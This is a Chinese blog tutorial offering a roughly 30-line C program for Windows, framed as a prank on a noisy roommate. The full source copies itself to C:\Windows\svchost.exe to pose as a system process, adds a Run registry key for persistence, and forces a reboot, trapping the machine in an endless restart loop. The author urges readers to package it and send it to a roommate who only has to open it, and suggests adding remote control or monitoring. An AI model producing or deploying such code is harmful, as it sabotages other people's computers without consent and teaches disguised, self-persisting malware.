【C語言】30行程式碼寫出無限重新啟動程式,室友太吵怎麼辦?

2022-01-06 23:00:02

目錄

嗨,這裡是狐狸~~

基本思路📝

登入檔

程式碼解析📝

總結

視訊講解


路漫長而闊遠,一片星空美到寂。

嗨,這裡是狐狸~~

今天是2022年1月6日,時間飛逝啊,很多同學都已經放寒假了吧,真的很羨慕放假的同學們。先給大家透個底,今天這個專案厲害了,今天做個惡搞程式,這也是很多年前做的專案了,那時室友天天通宵打遊戲,弄得我整晚整晚的睡不著,之後便有了這個無限重新啟動程式,可以說打著之後她再也不敢通宵打遊戲了,嘿嘿,現在覺著也滿是懷念啊。

win10 開機一直在正在重新啟動

 

基本思路📝

<Windows.h>

運用<Windows.h>標頭檔案,這就是說在這個程式只針對去Windows作業系統,其他的不行。

登入檔

通過登入檔實現開機自啟,這樣才能無限重新啟動。

其他的就很簡單了,主要是Windows自帶的功能,我們呼叫並進行無限迴圈操作就好了,嘿嘿。

程式碼解析📝

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

int WINAPI WinMain(HINSTANCE hInstance , HINSTANCE hPreInstance ,LPSTR lpCmdLine , int nCmdShow)
{
	//無限重新啟動

	//調整許可權
	HANDLE hToken;
	OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
	//檢視特權值
	LUID luid;
	LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luid);
	//調整許可權
	TOKEN_PRIVILEGES tkp;
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tkp.Privileges[0].Luid = luid;

	AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);

	//開機自啟動
	//計算機\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

	HKEY hKey;
	if (ERROR_SUCCESS != RegOpenKeyEx(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey))
	{
		printf("開啟登入檔失敗.\n");
		return 0;
	}

	//獲取當前exe路徑
	wchar_t szAppPath[260];
	GetModuleFileName(NULL, szAppPath, MAX_PATH);

	wchar_t szObjPath[260]=L"C:\\Windows\\svchost.exe";
	//自我複製
	CopyFile(szAppPath, szObjPath, FALSE);

	//寫入登入檔
	RegSetValueEx(hKey, L"svchost", 0, REG_SZ, (const BYTE*)szAppPath, 260);

	//關閉登入檔
	RegCloseKey(hKey);

	//啟動新的程式
	STARTUPINFO si = { sizeof(STARTUPINFO) };
	PROCESS_INFORMATION pi = {0};
	CreateProcess(NULL, szObjPath, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

	//MessageBox(NULL, szAppPath, L"提示", MB_OK);
	//黑視窗效果
	//system("shutdown -r -t 0");

	//重新啟動,關機,登出
	ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
	//MessageBox(NULL, L"執行了", L"標題", MB_OK);

	return 0;
}

總結

         今天程式碼是非常之少的,滿打滿算30行都不到,所以說每一行都很重要,沒有啥繁瑣的定義之類的,對了,這是用到Windows的庫,所以只支援Windows系統,如果你是蘋果系統可能就沒有效果了,提前說一下,然後就是自己千萬不要輕易嘗試,不然就把自己玩進去了,剛開始我第一次執行的時候弄了我一下午沒解決,還是請教老師最後才解決的,都是淚啊。對了,這個不用你室友有編譯器,你自己打包好,發給你的室友,他只要點開,嘿嘿。

        當然啦,這個程式我之後也做了許多的優化,比如說,開機之後你得先玩一個貪吃蛇遊戲,贏了就饒了你,輸了就要重新啟動,總之就是非常難受,或者你還可以加上網路程式設計,遠端控制或者遠端監控都是可以的,非常的牛逼,也是非常的有趣。想要這些的可以加群領取C/C++學習資料以及其他專案的原始碼的可以加群【1083227756】瞭解。想要對程式設計師的未來發展有興趣的可以關注微信公眾號:【狐狸的編碼時光】,希望和大家一起學習進步!

視訊講解

感興趣的可以點下方的連結去看看視訊講解,會更容易理解。

https://www.bilibili.com/video/BV1Sb4y1e76X/icon-default.png?t=LBL2https://www.bilibili.com/video/BV1Sb4y1e76X/

念七可愛卡通情侶頭像 可做表情包的卡通情侶頭像